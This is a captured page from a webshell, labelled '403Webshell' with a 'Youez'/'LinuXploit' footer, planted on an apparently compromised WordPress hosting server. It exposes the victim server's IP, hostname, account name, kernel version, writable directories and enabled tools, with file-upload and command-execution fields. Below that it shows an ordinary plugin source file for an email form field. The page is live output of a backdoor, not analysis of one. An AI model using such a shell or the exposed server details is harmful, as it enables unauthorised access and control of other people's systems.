403Webshell
Server IP : 198.54.126.161  /  Your IP : 216.73.216.116
Web Server : LiteSpeed
System : Linux premium12.web-hosting.com 4.18.0-553.94.1.lve.el8.x86_64 #1 SMP Thu Jan 22 12:37:22 UTC 2026 x86_64
User : amerfigf ( 898)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/WP-FormBuilder/admin/classes/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/WP-FormBuilder/admin/classes/fields/HashFormFieldEmail.php
<?php
defined('ABSPATH') || die();

class HashFormFieldEmail extends HashFormFieldType {

    protected $type = 'email';

    protected function field_settings_for_type() {
        return array(
            'clear_on_focus' => true,
            'invalid' => true,
        );
    }

    public function validate($args) {
        $errors = isset($args['errors']) ? $args['errors'] : array();
        if ($args['value'] != '' && !is_email($args['value'])) {
            $errors['field' . $args['id']] = HashFormFields::get_error_msg($this->field, 'invalid');
        }
        return $errors;
    }

    public function sanitize_value(&$value) {
        return HashFormHelper::sanitize_value('sanitize_email', $value);
    }

    public function input_html() {
        ?>
        <input type="email" <?php $this->field_attrs(); ?>/>
        <?php
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit